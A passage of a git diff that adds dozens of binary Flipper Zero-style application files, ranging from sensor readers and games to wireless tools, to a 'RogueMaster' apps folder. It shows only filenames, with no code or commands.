diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap new file mode 100644 index 000000000..82209ba3d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap new file mode 100644 index 000000000..474c4a28d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap new file mode 100644 index 000000000..ad3c2a389 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap new file mode 100644 index 000000000..aafa4d010 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap new file mode 100644 index 000000000..598b63e4d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap new file mode 100644 index 000000000..a30e68988 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap new file mode 100644 index 000000000..71fe18317 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap new file mode 100644 index 000000000..ac90d148a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap new file mode 100644 index 000000000..c8ff6e2a1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap new file mode 100644 index 000000000..90a9beab0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap new file mode 100644 index 000000000..eca49ecbd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap new file mode 100644 index 000000000..66c177b9f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap new file mode 100644 index 000000000..a18b9f589 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap new file mode 100644 index 000000000..027e74d08 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap new file mode 100644 index 000000000..75d863a95 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap new file mode 100644 index 000000000..ffa37319c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap new file mode 100644 index 000000000..4a3d7c9e1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap new file mode 100644 index 000000000..bab1c0372 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap new file mode 100644 index 000000000..02d6ab731 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap new file mode 100644 index 000000000..0c1eda08b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap new file mode 100644 index 000000000..e55afcfca Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap new file mode 100644 index 000000000..b039acd47 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap new file mode 100644 index 000000000..edfae12c8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap new file mode 100644 index 000000000..d530093c8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap new file mode 100644 index 000000000..c337dda39 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap new file mode 100644 index 000000000..61b7d6e46 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap new file mode 100644 index 000000000..05b0cb150 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap new file mode 100644 index 000000000..0b66ceab8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap new file mode 100644 index 000000000..f0c0b9e03 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap new file mode 100644 index 000000000..71aff6fd1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap new file mode 100644 index 000000000..e2c193c98 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap new file mode 100644 index 000000000..719e4ae1e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap new file mode 100644 index 000000000..e5b6e5033 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap new file mode 100644 index 000000000..84c1561d7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap new file mode 100644 index 000000000..98b238dc9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap new file mode 100644 index 000000000..59ef72240 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap new file mode 100644 index 000000000..fe4989313 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap new file mode 100644 index 000000000..da6be9581 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap new file mode 100644 index 000000000..019e800c1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap new file mode 100644 index 000000000..c60da6df8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap new file mode 100644 index 000000000..168c86515 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap new file mode 100644 index 000000000..97a5a2dda Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap new file mode 100644 index 000000000..2e16b3ebc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap new file mode 100644 index 000000000..bb5e9f8a6 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap new file mode 100644 index 000000000..804c926f1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap new file mode 100644 index 000000000..733715ddd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap new file mode 100644 index 000000000..efc0214a2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap new file mode 100644 index 000000000..1364dda81 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap new file mode 100644 index 000000000..caf71b8c5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap new file mode 100644 index 000000000..7b71b3b3e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap new file mode 100644 index 000000000..817026825 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap new file mode 100644 index 000000000..489ad99f1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap new file mode 100644 index 000000000..d6c956d3f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap new file mode 100644 index 000000000..cc9726962 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap new file mode 100644 index 000000000..31f057818 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap new file mode 100644 index 000000000..05cd897c7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap new file mode 100644 index 000000000..37d4bb6de Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap new file mode 100644 index 000000000..0ffaab59d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap new file mode 100644 index 000000000..46f909503 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap new file mode 100644 index 000000000..18a081ee1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap new file mode 100644 index 000000000..81b3028c8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap new file mode 100644 index 000000000..ee4fc6472 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap new file mode 100644 index 000000000..5ce79c42a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap new file mode 100644 index 000000000..bba29498c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap new file mode 100644 index 000000000..2541ec732 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap new file mode 100644 index 000000000..938a16231 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap new file mode 100644 index 000000000..9745e33ff Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap new file mode 100644 index 000000000..f9560684b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap new file mode 100644 index 000000000..52c4ea070 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap new file mode 100644 index 000000000..8363b2d1f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap new file mode 100644 index 000000000..314d64c2c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap new file mode 100644 index 000000000..087186df9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap new file mode 100644 index 000000000..4b7eda200 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap new file mode 100644 index 000000000..f7943c373 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap new file mode 100644 index 000000000..aaca95f66 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap new file mode 100644 index 000000000..549550a1a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap new file mode 100644 index 000000000..07a3ac5ee Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap new file mode 100644 index 000000000..b53dc8f4e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap new file mode 100644 index 000000000..0281d14a8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap new file mode 100644 index 000000000..271440237 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap new file mode 100644 index 000000000..fa0c39a1f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap new file mode 100644 index 000000000..b71d03d7b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap new file mode 100644 index 000000000..650f8cdaf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap new file mode 100644 index 000000000..476f00e4e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap new file mode 100644 index 000000000..37edc29dc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap new file mode 100644 index 000000000..98e4c0244 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap new file mode 100644 index 000000000..5280c2a58 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap new file mode 100644 index 000000000..765984b90 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap new file mode 100644 index 000000000..2b5a612d5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, 